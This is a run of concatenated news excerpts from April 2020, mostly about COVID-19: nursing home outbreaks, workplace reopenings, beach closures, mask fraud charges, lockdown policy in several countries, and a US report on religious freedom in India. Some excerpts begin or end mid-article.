95-year-old World War II veteran who lives at SEVC, said the residents are like sitting ducks. Theyve given everything," Bean said of her father-in-law and other veterans, and to think its spreading through there and they are dying alone, that makes me utterly mad. Its inhumane. And theyre withholding information about how dire it is. Fran McDermott, whose 91-year-old mother, Josephine McKeon, moved into the nursing home four years ago, said she didnt know about the extent of the virus presence in the facility until her mother called her, telling her two of her roommates were being treated with oxygen. Previously, McDermott said, the staff was always quick to communicate, but that changed in recent weeks. They told me they werent allowed to tell me how many cases they had, or even if there were cases on my mothers floor, McDermott said. I asked if they were testing these women, and testing my mother. They said no, and they werent allowed to tell me why." Thousands of employees working from home over the past few weeks will likely be returning to work as early as Friday after Texas Gov. Greg Abbott said some businesses could reopen after more than a month of stay-at-home orders kept them shut. Companies are getting ready for the return of their employees by moving desks further apart, buying masks and hand sanitizer and changing the standard work day so some employees start early and others start late so fewer people are in the workplace at any one time to slow the spread of coronavirus. The law firm AZA Law in Houston has ordered plastic shields to put up around the reception area, said managing partner John Zavitsanos. Human resources is working on a new lunch schedule to reduce congestion in the lunchroom and hired a special cleaning company to spray the keyboards, chairs and desk tops three times a week with a super disinfectant. Zavitsanos said he expects all 100 lawyers and administrative employees to be back in the office Monday, May 4 unless an employee or family member is sick or government officials extend the work-at-home order. He said he wants to do his part to inject spending back into the economy. I want them driving and I want them burning gas, he said. I want them to stop off and buy their morning coffee. MAY DAY: Gov. Abbott sets May 1 reopening for most businesses Stay-at-home orders, which were first issued here around mid-March, aimed to close all but essential businesses, such as grocery stores and pharmacies, in an effort to reduce coronavirus infections before they overwhelmed the health care system. The shutdowns have battered a range of industries and companies and put some 26 million Americans out of work, including more than 1.3 million Texans. Fifty-four percent of U.S. employers said theyll adjust work schedules to limit the number of employees in the office at any given time, according to a survey of employers by the human resource consulting firm Mercer. Forty-three percent of employers said theyll allow employees to continue working from home. The Greater Houston Partnership, the business-financed economic development group, doesnt have any immediate plans to bring its 85 employees back to the office. All are working remotely and it will be like that for several more weeks, said spokesman A.J. Mistretta. NRG Energy, one of the biggest generators and sellers of electricity in Texas, plans to keep employees working remotely until May 29, said spokeswoman Pat Hammond. Many companies are looking to regulators to prepare for the return of employees. While the federal Occupational Safety and Health Administration hasnt issued specific coronavirus standards for workplace safety, the agency has suggestions for employers to limit infection by promoting frequent hand washing, providing boxes of tissues and discouraging workers from using other peoples desks, phones, computers and other equipment. HORSE TO WATER: Retailers look to reopen. Are shoppers buying it? Many companies have focused on creating at least six feet of distance between employees, customers and visitors to meet social-distancing standards. Some are limiting the number of people who can occupy an office by alternating employee in-office days and discouraging any physical contact. The elbow bump has replaced the handshake. But what to do about job interviews? Before the spread of the coronavirus the Houston staffing agency Murray Resources interviewed job candidates in person unless they were from out-of-town. But since early March the staffing agency that places engineers, accountants and other technical, industrial and professional workers in energy and other industries has interviewed all 450 job candidates through the website, Zoom. The video interviews have been an effective substitute for in-person interviews because they still give a sense of a candidates professionalism, enthusiasm and ability to communicate effectively, said managing director Keith Wolf. Website interviews are also easier to schedule and coordinate, said Wolf. A candidate can hop on a Zoom call right after work and still have dinner with their family. Or they can take the call over their lunch break, where it typically wouldnt be practical to drive back and forth for an interview, depending on the distance. But you do miss some of the subtleties that you get in person, said Wolf, such as their ability to maintain proper eye contact. And give a firm handshake. TEXAS INC: Get the best of business news sent directly to your inbox Now Playing: 'COVID-19 in 60': Houston coronavirus news in a minute Video: Houston Chronicle Interviewers pay attention to the social cues of applicants that demonstrate composure, confidence and getting along with others. Its how they treat the receptionist. Or how they respond if someone interrupts the meeting, said Wolf. Thats more difficult, he said, to do on a Zoom call. lynn.sixel@chron.com twitter.com/lmsixel Shillong, April 28 : Justice Biswanath Somadder, who travelled around 2,000 km by road from Uttar Pradesh to Meghalaya via West Bengal, went into home quarantine hours after taking oath as the Chief Justice of the Meghalaya High Court on Monday, officials said on Tuesday. Justice Somadder's predecessor, Chief Justice Muhammad Rafiq, also travelled by road to Bhubaneswar to take oath as the Chief Justice of Orissa High Court on Monday. A High Court official in Shillong said Chief Justice Somadder, 56, had travelled by car from Prayagraj (in UP) to reach Shillong via West Bengal due to the countrywide lockdown and following the protocols related to COVID-19. "Justice Somadder was sworn in as the ninth Chief Justice of Meghalaya High Court on Monday afternoon by Governor Tathagata Roy at a very simple ceremony at the Raj Bhavan in Shillong," the official said. All the dignitaries and officials present in the oath-taking ceremony maintained the standard protocols of COVID-19, including social distancing. According to the official, soon after the swearing-in, the Chief Justice, who came to Shillong alone, went to 14-day home quarantine on his own. "During the Chief Justice's two-week quarantine, through video conference, important issues would be resolved by him," the official told IANS refusing to be named. Justice Somadder left Allahabad on Friday and arrived in Kolkata on Saturday, after a brief rest at his Salt Lake residence in Kolkata, he proceeded to Shillong and reached in the hill city on Sunday night. Justice Somadder assumed charge as a judge of Allahabad High Court in October last year after acting as the officiating Chief Justice of the Calcutta High Court. Meghalaya's Deputy Chief Minister Prestone Tynsong defended the "sudden appointment" amid the COVID-19 lockdown. "The High Court needs a Chief Justice, just as a state needs a Chief Minister or the Army needs a General," the Deputy Chief Minister remarked, saying the Meghalaya Chief Justice, his driver and his entire entourage after their travel have been asked to follow the national protocol. Justice Somadder succeeds Chief Justice Muhammad Rafiq, who has been transferred as Chief Justice of Orissa High Court and assumed in office on Monday. The 60-years-old Chief Justice also travelled by road to Bhubaneswar to take the new assignment. The President last week appointed the new Chief Justices of Bombay, Meghalaya and Orissa. (Sujit Chakraborty can be contacted at sujit.c@ians.in) Press Release April 28, 2020 Gatchalian urges DOH, LGUs: ensure continued implementation of 'First 1,000 Days Law' amid COVID-19 crisis With the Enhanced Community Quarantine (ECQ) still in effect, Senator Win Gatchalian is urging the Department of Health (DOH) to ensure continued delivery of health care programs in Local Government Units (LGUs) under the "Kalusugan at Nutrisyon ng Mag-Nanay Act" (Republic Act 11148) or the "First 1,000 Days Law," which he co-authored. The First 1,000 Days Law aims to scale up programs and interventions that help children receive adequate nutrition in their first 1,000 days of life, from conception until their second birthday. It prioritizes those who are living in unserved and underserved communities, including those in far-flung and poverty-stricken areas. Gatchalian acknowledged that while the COVID-19 crisis is straining the country's healthcare system, he emphasized that the failure to deliver other basic crucial services would pose a long-term challenge to public health and hamper national development. Since the implementation of the First 1,000 Days Law is at the barangay level through health centers, rural health units, and barangay health stations, Gatchalian urged LGUs to ensure that barangay health workers, barangay nutrition scholars, and child development workers are mobilized to deliver services while observing social distancing measures. Gatchalian added that LGUs should facilitate safe and smooth movement for these health workers and the women and children receiving their services. Barangays should also assist pregnant women in reaching health care facilities, especially when they are giving birth. The senator explained that the most rapid period of brain growth takes place in the first 1,000 days of life, which is considered the greatest opportunity to provide optimal nutrition for brain development. It is also the time when the brain is most vulnerable to nutrient deficiencies. Poor nutrition during this period could lead to stunting or impaired growth and development, the adverse consequences of which include poor cognition, poor educational performance, and lost productivity. Stunting is also associated with increased risk of non-communicable diseases. Stunted children who later gain excessive weight also face an increased risk of nutrition-related chronic diseases when they reach adulthood. One in three Filipino children under five years old is stunted, says a 2019 report by the United Nations Children's Fund (UNICEF) entitled The State of the World's Children: Children, Food and Nutrition. The report also cited that one in every ten Filipino adolescents is overweight. "Sa kabila ng krisis pangkalusugan na dulot ng COVID-19, kailangan nating siguruhin na may mga mabisa at ligtas na paraan ang ating mga komunidad upang magbigay kalinga sa mga ina at kanilang mga sanggol na anak," said Gatchalian. ### Gatchalian: ituloy ang "Kalusugan at Nutrisyon ng Mag-Nanay Act" kahit naka-quarantine Habang nananatiling naka-quarantine ang buong bansa, hinimok ni Senador Win Gatchalian ang Department of Health o DOH na siguruhin ang patuloy na pagpapatupad sa mga Local Government Units (LGUs) ng Republic Act 11148. Kilala rin ang batas na ito bilang ang "Kalusugan at Nutrisyon ng Mag-Nanay Act" o ang "First 1,000 Days Law," kung saan si Gatchalian ang isa sa mga may akda. Layunin ng naturang batas na paigtingin ang mga programa at intervention upang makatanggap ang mga bata ng sapat na nutrisyon sa unang isang libong (1,000) araw ng kanilang buhay, mula sa sinapupunan hanggang sa kanilang ikalawang kaarawan. Prayoridad ng batas ang mga malalayo at maralitang mga komunidad. Bagama't nakatutok ang healthcare system ng bansa sa pagsupo ng COVID-19, nagbabala si Gatchalian na ang pagtigil sa mga programa sa ilalim ng "First 1,000 Days Law" ay magdudulot ng iba pang krisis pangkalusugan at magiging sagabal sa pag-unlad ng bansa. Dahil mga barangay ang pangunahing nangangasiwa sa mga programang ito, hinimok ni Gatchalian ang mga LGUs na siguruhing naipagpapatuloy ng mga barangay health workers, barangay nutrition scholars, at child development workers ang paghathatid ng mga kinakailangang serbisyo. Dagdag ng senador, mahalagang napapanatili pa rin ang social distancing sa patuloy na pagpapatupad ng mga programang ito. Ayon pa kay Gatchalian, dapat tulungan ng mga LGUs ang mga health workers upang madali silang makarating sa kanilang mga pupuntahan para makapagbigay ng serbisyo. Kailangan ding handa ang mga barangay na tulungan ang mga buntis na makarating sa mga healthcare facilities, lalo na kapag manganganak na ang mga ito. Ipinaliwanag ng senador na pinakamabilis ang brain growth ng bata sa unang isang libong araw mula sa kanyang kapanganakan, sa puntong ito, mahalagang mabigyan sila ng sapat na nutrisyon upang tumalino at para malabanan ang posibleng epekto ng kakulangan sa nutrition. Ang kakulangan sa nutrisyon sa mga panahong ito ay naiuugnay sa 'stunting', kung saan ang bata ay hindi lumalaki ng ayon sa kanyang edad. Ilan sa mga epekto nito ang kakulangan ng sapat na kakayahang umunawa, makapag-aral nang mabuti, at makapag-trabaho nang maayos. Nauugnay din ang 'stunting' sa mataas na posibilidad ng pagkakaroon ng mga non-communicable diseases. Kapag tumanda na ang mga batang ito at nagkaroon sila ng labis na timbang, nanganganib naman silang magkaroon ng nutrition-related chronic diseases. Ayon sa ulat na The State of the World's Children: Children, Food and Nutrition na nilabas ng United Nations Children's Fund o UNICEF noong 2019, isa sa tatlong kabataang Pilipinong limang taong gulang pababa ay tinaguriang 'stunted'. Ayon din sa ulat na ito, isa sa sampung Pilipinong nagdadalaga o nagbibinata ang overweight. "Sa kabila ng krisis pangkalusugan na dulot ng COVID-19, kailangan nating siguruhin na may mga mabisa at ligtas na paraan ang ating mga komunidad upang magbigay kalinga sa mga ina at kanilang mga sanggol na anak," ani Gatchalian. ### The manufacturers proposals include raising the legal bar for customers or employees to prove a business is at fault if they claim they contracted the virus there, protecting employers from some privacy suits in the event that they disclose a workers infection to other workers for safety reasons and giving added legal protections to companies that manufacture items during the crisis that are new to them like personal protective equipment. Congress included a version of that liability limitation for manufacturers of masks in the rescue bill it passed last month. A longer list circulated two weeks ago by the U.S. Chamber of Commerce includes some things the administration could do on its own like Labor Department guidance about mask requirements and the steps it will deem sufficient to meet Occupational Safety and Health Administration standards. Others include steps only Congress could enact, like passing a law taking away peoples right to file lawsuits in state courts over allegations that a business was negligent in taking pandemic precautions. A range of legal specialists in civil lawsuits over claimed injuries and labor law said the business lobbys requests include both sensible ideas that could be put in place quickly and politically implausible stretches. The risk, they said, is that if the lobby asks for too much, it could get bogged down, forestalling the changes needed for the eventual recovery. Samuel Estreicher, a New York University Law School professor of labor and employment law, argued that it would make sense for the Labor Department and the Equal Employment Opportunity Commission to issue guidance about basic safety steps businesses should follow. For example, he said, it would be useful to promulgate guidance that, if a business requires its workers and customers to wear masks and practice social distancing to the extent practicable, it would have a safe harbor from being considered by the federal government to be negligent a standard that could also discourage state-court lawsuits. He also said it made sense to tell businesses they could require employees to pass a test for the virus before returning to work without running afoul of disability discrimination and health privacy laws. But the chambers list, he says, goes far beyond that, ranging from tiny issues like wanting to relieve employers from a need to provide masks or train employers in how to properly use them to gutting hard-fought labor laws in ways that seem unjustified, like permitting employers to bar older workers from returning to work based on fears that they may be statistically more vulnerable to serious symptoms. This is a wish list for mini constituencies within the business community, he said. They should be focusing on what they need for immediately addressing legitimate concerns, so we can go back to work. Labor leaders reject the effort entirely. Mary Kay Henry, the president of the Service Employees International Union, said employers were still sometimes failing to provide personal protective equipment to workers, and she called the liability-limitation push inhumane. MUSKEGON, MI A West Michigan man already in trouble with the state attorney general is now facing federal charges for allegedly scamming online customers seeking to buy face masks during the coronavirus pandemic. Rodney Stevenson II, 24, of Muskegon has been charged with wire fraud by the U.S. Attorneys Office for the Northern District of California, according to a press release from the U.S. Department of Justice. Its alleged that Stevenson controlled EM General, a company created in 2019 that operated a website claiming to sell N95 respirator masks, according to the press release. Michigan Attorney General Dana Nessel announced last week that EM General was under investigation for price-gouging, misleading customers, advertising goods without the intent to provide them and failing to provide customers with refunds. Customers paid as much as $40 per mask, but never received them, according to the federal complaint. The complaint described four patients allegedly defrauded by EM General, three of whom live in the San Francisco Bay area, including one hospital employee according to the complaint. One customer paid $400 for masks, and when they were received weeks later, they were cheaply made fabric masks that didnt comply with N95 standards, according to the Department of Justice news release. The Department of Justice alleges that Stevenson took several steps to make his company appear legitimate, including inventing a fictitious CEO named Mike Thomas, making up several other fake employees and using stock photos from the Internet on a website depicting his phony professional management staff. Stevenson was arrested at his home in Muskegon and was released on supervised bond after appearing in the U.S. District Court for Western Michigan in Grand Rapids. He faces a maximum sentence of 30 years in prison. His case is being investigated by the San Francisco and Detroit divisions of the U.S. Postal Inspection Service and San Francisco and Detroit field offices of the FBI. More on MLive: West Michigan company accused of fraudulent sales of N95 masks The coronavirus was tailor made to devastate densely populated black Michigan communities Muskegon health worker on front lines of coronavirus fight: Theyre 'declining so fast NEWPORT BEACH, CA State officials say there was too much activity and not enough social distancing at Orange County beaches over the weekend. After a slam by Gov. Gavin Newsom on Monday for violating the state's stay-at-home order during the COVID-19 pandemic, the OC Board of Supervisors and beach cities look to halting seaside activities until further notice. Orange County's 3.2 million person population has 2,126 coronavirus patients. 26,347 residents have been tested for coronavirus, and 39 people have died as a result of the disease, as of Monday. In Orange County, the city of Santa Ana has been the hardest hit during the pandemic, with 306 residents ill from the virus, and Anaheim at a close second with 289 residents affected by the virus. Two heavily populated Orange County beach cities have some of the greatest numbers of coronavirus in Orange County, according to the Orange County Health Care Agency reports. Huntington Beach, with a population of 203,761, has the highest number of coronavirus cases, with 183 as of Monday afternoon. Newport Beach, with a population of 87,180, has 96 residents ill with coronavirus. Other beach towns of Seal Beach, with a population of 25,073 has 11 cases of coronavirus within their city limits. Laguna Beach, with 23,358 residents has 36 ill from the virus. San Clemente, with 65,405 residents has 45 cases of coronavirus and at least one resident has died from the disease. In Dana Point, there are 34,249 residents and 22 of them are ill from the virus. While percentages vary across the board, cities who have upheld more strict social distancing policies and practices, have managed to hold their coronavirus exposure numbers for at least a week since mask restrictions were put into place. While Patch is aware that coronavirus patients have returned home from the hospital after battling the virus, Orange County Health Care Agency has not yet released patient recovery statistics as of this report. Story continues Don't miss updates about the coronavirus in California as they are announced. Sign up for Patch news alerts and newsletters. Newport Beach City Council members planned to meet Monday as to whether to close beaches for the next few weekends. The move may prompt Huntington Beach to follow suit. The move to close Newport Beach's shorelines came as soaring temperatures encouraged throngs of beachgoers to converge in that city and Huntington Beach this past weekend. Options for beachgoers have shriveled as Los Angeles, and San Diego counties and Laguna Beach closed off shoreline access. Further south in San Clemente, the city reopened its beaches, ocean water, and the Beach Trail for "active use only." Discussions about opening the pier were underway. "To reduce overcrowding, the City is requesting that non-residents abide by the Governor's stay at home orders, due to limited parking availability in San Clemente," the city reported. "For those visiting the beach, please be advised of the following regulations for use while observing limited use of all beachfront." In San Clemente, it is permitted to do physical activity with your household group, to walk, run or jog on shore or to swim, surf, bodyboard, skim board or kayak out in the water. "Any physical activity which keeps individuals in a non-stationary, active motion," the city described. It is not permitted, as of yet, to gather in groups of ten or more, picnic, make a beach camp, set up chairs, lay on towels or blankets. Volleyball on the beach is closed, as are picnic pavilions and palapas, and barbecue and fire rings. It isn't the summer of their dreams, but San Clemente is making it work, they say. On Monday, Gov. Newsom criticized all of the Orange County beach towns who allowed beaches to remain open for any type of activity. He warned that large gatherings would slow the state's efforts to reopen businesses and relax stay-at-home orders. "Those images are an example of what not to see, ... what not to do if we're going to make the meaningful progress that we've made in the last few weeks extend into the next number of weeks," Newsom said. "The reality is we are just a few weeks away, not months away, from making measurable and meaningful changes to our stay-at-home order. "That is a very optimistic point to emphasize, however, that's driven by data. That's driven by behavior. And as we change our behavior, we can impact the science, the health, and the data. This virus doesn't take the weekends off. This virus doesn't go home because it's a beautiful sunny day around our coasts." Newport Beach City Council members will meet Tuesday afternoon to discuss whether to close their beaches for the next three weekends. A city spokesman said City Council members would not be made available for comment beforehand, and some council members did not respond to requests for an interview on Monday. If Newport Beach decides to go ahead and close the city's beaches, it could have a domino effect on Huntington Beach. "If Newport Beach closes all of its beaches and that crowd decides to come here we'll have to make some serious decisions to make sure that doesn't happen," said Huntington Beach Fire Battalion Chief Eric McCoy. Meanwhile, Orange County Supervisor Lisa Bartlett shared concerns that the shutdown of beaches in the north county will spur beachgoers into the beaches in Dana Point, San Clemente, and San Juan Capistrano. Bartlett suggested approving something similar to San Diego, where joggers, bikers, and strollers are welcome, but shooing sunbathers away, as San Clemente is doing. "We could keep our beaches open, but allow for people to recreate, walk, jogging and running on the beach, but keep moving," Bartlett said. Last week, upon prompting from Laguna Beach Mayor Bob Whalen, Bartlett proposed closing the beaches for the next few weeks, but her motion died for lack of a second. Supervisor Andrew Do said Bartlett's proposal would be too difficult to enforce, and the issue died without support. Orange County Board of Supervisors Chairwoman Michelle Steel told reporters Monday afternoon that she thought beachgoers were "properly social distancing... In the city of Huntington Beach, people who came to the beach kept their distance from each other." Steel said, "It's important to take care of our mental health as well. We want our neighbors to get exercise. This plays a big role in mental health, which is why we encourage our residents to spend time outside safely. Their local beaches are an ideal place to do so." OC Parks Director Stacy Blackwood said the county controls 16 percent of the shoreline. Blackwood said the turnout was "pretty typical of what we see in summer weekends." She estimated it at about 6,000 people during peak hours across the major beaches. Dr. Nichole Quick, the county's health officer, encouraged residents to get outside and enjoy recreation in their general neighborhood. "Mass gatherings are not allowed under the governor's orders," she said. Quick encouraged family outings, but added, "If you need a car to reach a place...then you're going too far." Laguna Beach last month voted to close its beaches. The county has also closed parking lots to the beaches to help curtail crowds, but it has caused parking problems in some neighborhoods around the beaches, Laguna Beach police Sgt. Jim Cota said. As the coastal commission commands, there must be access to certain beaches. Laguna Beach has pledged to keep strict enforcement in place during this pandemic. City News Service, Patch editor Ashley Ludwig contributed to this report. Don't miss updates about the coronavirus in California as they are announced. Sign up for Patch news alerts and newsletters. Full coronavirus coverage: Coronavirus In California: What To Know Read also: SoCal Flees Heat At Beaches, Beach City Coronavirus Totals Beach Access Limited In Laguna Beach, Citations, Fines Probable Massive Oil Tankers Drift Off Seal Beach Coast During Coronavirus Which Orange County Beaches Are Open, Closed During Heatwave Mission Hospital Gives Heroes Send-Off To Coronavirus Survivors This article originally appeared on the Newport Beach-Corona Del Mar Patch Kansas City Hard Times Ahead Bankruptcy filings, foreclosures expected to surge in coming months KANSAS CITY, Mo. - A local bankruptcy attorney says there hasn't been a spike in bankruptcy filings because of the coronavirus crisis, but he fully expects that to happen in the near future. "People can't really be collected against right now, so there's not really any reason to file bankruptcy yet," Colin Gotham said. Checkout New Hotel Game Rebound KC: Kansas City hotels adapt to pandemic, look to the future KANSAS CITY, Mo. - Hotels are experiencing record low numbers for reservations. It's led to many hotels around Kansas City, Missouri, closing temporarily. Another hotel is changing its modus operandi. The Raphael Hotel on the Country Club Plaza is renting rooms for the day as offices. Grocery Store Wraps It Up Hy-Vee stores, distribution centers requiring all employees to start wearing masks FAIRWAY, KS (KCTV) - All Hy-Vee stores and distribution centers are now requiring that all employees wear masks in response to the coronavirus. "Hy-Vee provided masks to all employees over the past several weeks. Effective today (Monday), wearing a mask or other facial coverings inside Hy-Vee stores is mandatory for employees to help protect both our employees and customers." Cowtown Sign Of The Times We're Open: Business booming for Front Yard Greetings KANSAS CITY, Mo. - While event spaces and party stores are not seeing business due to COVID-19, one company is still helping people celebrate life's milestones. Front Yard Greetings will put up celebratory signage in a front yard early in the morning to surprise the person celebrating. Stupid Stunt In STL Police break up crowd of more than 200 stunt drivers and spectators ST. LOUIS (KMOV/Meredith) - On Sunday afternoon, 4th Street in downtown St. Louis was packed full of cars and people. Videos show drivers doing burnouts in the parking lot near Busch Stadium and speeding down the street. St. JoCo Hotspots Revealed 3 Facilities Account For Half Of The COVID-19 Deaths At Johnson County's Long-Term Care Centers The two Johnson County long-term care facilities with the most coronavirus cases are both owned by large out-of-town companies with senior living facilities in multiple states. Comeback Across The Bridge Northlander shares story of COVID-19 illness, recovery KANSAS CITY NORTH - Monica Landess, along with her husband, Terry Landess, are recovering from COVID-19. The couple, who live near Liberty, have been personally battling the pandemic since mid- and late March, respectively. Monica was the first to infected, then her husband contracted the virus from her. Planning The Great Golden Ghetto Comeback Task force maps out what reopening Johnson County might look like KANSAS CITY, Mo. - A Johnson County task force charged with creating a recovery plan for the Kansas City area's second-largest county grappled with the details of what that might look like on Monday. In a meeting lasting at least two hours, the task force, chaired by Johnson County Board of County Commissioners Chairman Ed Eilert, worked through a draft of a recovery plan. Local Check Fear Family worries stimulus check is going to wrong account SEDALIA, Mo. - According to the Internal Revenue Service, around 88 million Americans have received their stimulus checks, but many are still waiting. One Sedalia family is worried their check, which should cover both parents and two children, will be deposited into the wrong bank account. Great Reopen Awaits FAQ: When And How Parts Of The Kansas City Metro Will Reopen The governors of both Kansas and Missouri so far have said their emergency stay-home orders during the COVID-19 pandemic will end May 3. Many metro area communities are on board. Kansas City, Missouri's order remains in place until May 15, along with Jackson County and Platte County. Serving New Normal 'A little different': KCMO restaurants prepare for gradual reopenings KANSAS CITY, Mo. - Many are counting down the days until they can go back to their favorite restaurants and and enjoy lunch on a nice day. In Kansas City, Missouri, that day is coming up on May 15, according to Mayor Quinton Lucas. Kansas City Restaurant Biz Endures Without Protection Bars, restaurants face slim chances of insurance relief By Tyler Schneider With a variety of grants and aid packages now in play for businesses at both the state and federal level and with coronavirus relief/stimulus checks hitting mailboxes this week, it's undeniably a period of sheer damage control as far as the local economy is concerned. Info and insight from around the metro focused on how the pandemic continues to impact local life . . .Developing . . . The Union Finance Ministry on Monday (April 27) chargesheeted three Internal Revenue Service (IRS) officers for "misguiding" young taxmen and "unauthorisedly" making public a report that proposed for a steep hike in taxes to tackle the economic crisis caused due to the coronavirus COVID-19 pandemic. The three IRS officers who are chargesheeted are Sanjay Bahadur (principal director investigation, northeast region), Prakash Dubey (director DOPT, IRS Association's joint secretary) and Prashant Bhushan (principal commissioner of income tax, Delhi, and IRS Association's general secretary). The officers have been given 15 days to submit a written response in their defence. It is to be noted that Prashant Bhusan's wife Amita Bhushan is a Congress MLA from Begusarai in Bihar. Preliminary inquiry into the matter showed that Dubey and Bahadur asked junior officers to prepare a report and gave it to the IRS Association, while Bhushan unauthorisedly put the report in public domain. The report titled 'FORCE (Fiscal Options & Response to the COVID-19 Epidemic') prepared by 50 IRShad suggested raising tax rate to 40% for those with income above Rs 1 crore, from 30% at present, and levy of wealth tax for those with over Rs 5 crore annual income. The report also proposed charging an additional 4 per cent 'Covid Relief Cess' to meet the government's revenue shortfall and contain the coronavirus outbreak. The Centre had junked the report and termed it "irresponsible". The Centre has also directed the Chairman of the Central Board of Direct Taxes (CBDT) to seek an explanation from these 50 IRS officers for writing such "ill-conceived views" in public without having any authority to do so. The CBDT has slammed the sugestions and launched an inquiry against the officers claiming that "suggestions on official matters is a violation of extant Conduct Rules." "An ill-conceived report named 'FORCE' put up by a group of officers through IRS Association giving suggestions on increasing the taxes, etc., in the difficult time of Covid-19 pandemic. The release of proposals in the media through the IRS Association's twitter and the website is "an irresponsible act" of few officers. Neither the IRS Association nor any group of officers mentioned in the said report was ever asked by the Government to give any report on the subject," said the Union Finance Ministry. The Vietnam Banks Association has urged international card organisations to reduce several types of fees on Vietnamese banks in the context that the COVID-19 pandemic negatively affected their card businesses. Illustrative image (Photo: thebank.vn) The association said that the pandemic significantly affected the operations and business of banks in Vietnam, including card businesses, in recent months. It cited statistics that the value of transactions by cards in the domestic market in the first three months of this year saw a drop of 21 percent while in foreign markets by 28 percent against the same period last year. Value of repayment to cards in April tumbled by 78 percent against the same period last year and 93 percent against March. At some companies and organisations which accepted card payments, including aviation, education, tourism sites and hotels, the value of transactions fell by 80 percent in March against the previous month and further declines were predicted in coming months. Thus, the association urged international card organisations Visa and Mastercard to reduce the fees on Vietnamese banks for at least 12 months. Specifically, the association proposed the transaction fees to be cut by at least 50 percent for both banks which issued cards and received payments. For the long-term, it was critical to have appropriate policies for fee collection to promote the development of Vietnams card market. The association said that Visa and Mastercard were collecting three to four types of fees for each transaction, adding that the fees international card organisation were collecting were much higher than those of card switching organisations./. VN central bank asks for cut in electronic fund transfer fees The State Bank of Vietnam (SBV) on March 31 issued a directive to reduce the fees for transactions via interbank electronic payment system by 50 percent for local banks. A Senior Lecturer of the University of Cape Coast Dr. Kingsley Adjei has said the coronavirus pandemic has drawn a lot of people closer to God. He said even those whose relationship with God wasn't the best have improved upon their relationship with God through prayer and worship even though, there is no opportunity to attend church. He said that COVID-19 has drawn the attention of many to the end of the world. He added that "some members of the religious community believe that if God does not destroy the world at this time then, He should resurrect and apologise to the people of Sodom and Gommorrah for destroying them for their sexual perversity". This means some people feel that what happened during that era is happening now and possibly worse. Referring to Isaiah 58, Dr. Adjei said, these are one of the times where those who have should assist those who don't have. "If you have food and there is an old lady or man in your neighbourhood who doesn't have, please give him or her some portion of your food. Don't cook good food and eat and go and buy food and gift it to someone. That isn't Godly". The sociologist said this in a telephone interview on Central Morning Show hosted by Benjamin Tetteh Nartey on GBC Radio Central today 28th April, 2020. Responding to whether the lifting of the partial Lockdown was in the right direction, Dr. Adjei said, he expected the partial Lockdown in Greater Kumasi and Greater Accra to be extended. He recounted his personal experience where a man pleaded with him to allow him jump a queue at a bank because "he was fleeing Lockdown in Accra and needed some money to continue to Takoradi". He added "such behaviours of Ghanaians has contributed to the spread of the virus to other regions". Dr. Adjei continued that, the government through the health services has done their best regarding the measures put in place but was quick to add that "because of fear of a possible Lockdown, propel are still fleeing from Accra and Kumasi to other places which might continue the spread". He admonished Ghanaians to strictly abide by all the protocols and observe the physical distancing, washing of hands with soap and running water and the application of sanitizers as regularly as possible to protect ourselves from coronavirus. When asked whether Ghanaians have learnt any lesson going forward, he said, Ghanaians normally behaved like an animal that has been caught by a trap, it behaves differently when in the trap and when extricated from the trap, it also behaves differently. "Can you imagine that people have started jubilating thinking that coronavirus was over. Indeed some people even attended beaches and others gatherings irrespective of the coronavirus threat". The sociology lecturer further said this should serve as a wake up call to all politicians to know that "we need to expand our health infrastructure and possibly have testing centres in every region of our country". We should not have waited for coronavirus to alert us of the lapses in our health infrastructure but with the advent of codvid-19, we are thinking along that line which is very good. "All those who didn't like working on line have been compelled to learn". Teaching students face-to-face is very good but in the current situation, lecturers and teachers are compelled to teach online. The practical difficulty is that some areas don't have internet facilities especially the rural areas of Ghana and this must awaken the government to improve upon and expand internet accessibility to all". He further advised parents to buy computers for their children if they don't have so they can also benefit from the online teaching that is ongoing. All these are positive lessons that coronavirus has come in its wake. In concluding the discussion, Dr. Adjei advised that since we're burying the dead in Covid-19 era with limited numbers, we should take lessons from that and stop lavish funerals which in his view doesn't help us as a people. "We spend too much on funerals and such monies could be directed in helping the poor and needy within our family. When people are sick, we don't normally care much but when they die, we shall find money at all cost to organise lavish funerals which doesn't augur well for us" he added. "Coronavirus is real and we must all to whatever it takes to stay safe and alive". Religious freedoms in India deteriorated sharply last year as the government of Prime Minister Narendra Modi allowed "campaigns of harassment and violence" against Muslims and other religious minorities to continue, according to a U.S. watchdog group. The U.S. Commission on International Religious Freedom, a government body that monitors conditions abroad and U.S. responses, moved India to its category of greatest concern in an annual report released Tuesday. USCIRF, as the group is called, has no power to enforce its recommendations, but the State Department is required to consider them. The commission recommended that the State Department designate India as a "country of particular concern," or CPC, said Nadine Maenza, its vice chair, because it "tolerated particularly severe violations of religious freedom." The most "startling and disturbing," she said, was India's passage of a citizenship amendment act that fast-tracks citizenship for newcomers who belong to six religions but excludes Muslims. "This potentially exposes millions of Muslims to detention, deportation and statelessness when the government completes its plan for a nationwide, national register," she said. India last received a similar rating from the watchdog in 2004, also a period of heightened concern over a Hindu nationalist government's treatment of religious minorities, especially Muslims and Christians. In 2002, more than 1,000 people, mostly Muslims, were killed in three days of riots in the state of Gujarat. Anurag Srivastava, the spokesman for India's Ministry of External Affairs, rejected the conclusions in the report. The commission's "biased and tendentious comments against India are not new," he said. "On this occasion, its misrepresentation has reached new levels." He suggested the Indian government would keep its distance from the commission. "We regard [USCIRF] as an organization of particular concern and will treat it accordingly," said Srivastava. During a visit to India in February, President Donald Trump defended Modi's record on religious tolerance; violence erupted in the country over the citizenship law. "We did talk about religious freedom, and I will say that the prime minister was incredible in what he told me," Trump said at the time. "He wants people to have religious freedom and very strongly." The group said religious freedom had also "continued to deteriorate" in China, where as many as 1.8 million Muslims have been detained in internment camps. The report cited improvements in two countries in particular - Sudan and Uzbekistan. USCIRF removed Sudan from the CPC list for the first time since the list was created in 2000 and Uzbekistan since 2005. The report praised the developments in both countries, which remained on the "special watch list." The report also highlighted concerns about growing anti-Semitism, particularly in Europe. It noted that 4 in 10 young European Jews are considering emigrating because of anti-Semitism, and it urged the Trump administration to "ensure that combating anti-Semitism is a key priority." The report applauded the administration for organizing events around religious freedom and issuing statements - it said it had "prioritized" the topic. Maenza said Trump had raised international religious freedom "to a level it's never been raised before." But the authors said the administration failed to use its powers to issue sanctions against foreign officials in cases of religious freedom violations. They noted that the administration cut the number of refugees - including those fleeing religious persecution - to 18,000, the lowest in history. Among the recommendations, the report urges the U.S. government to "exert significant pressure on Turkey to provide a timeline for its withdrawal from Syria," while ensuring that its allies neither expand control of more land nor "otherwise abuse the rights of religious and ethnic minorities there." It also calls on the United States to support vulnerable religious and ethnic 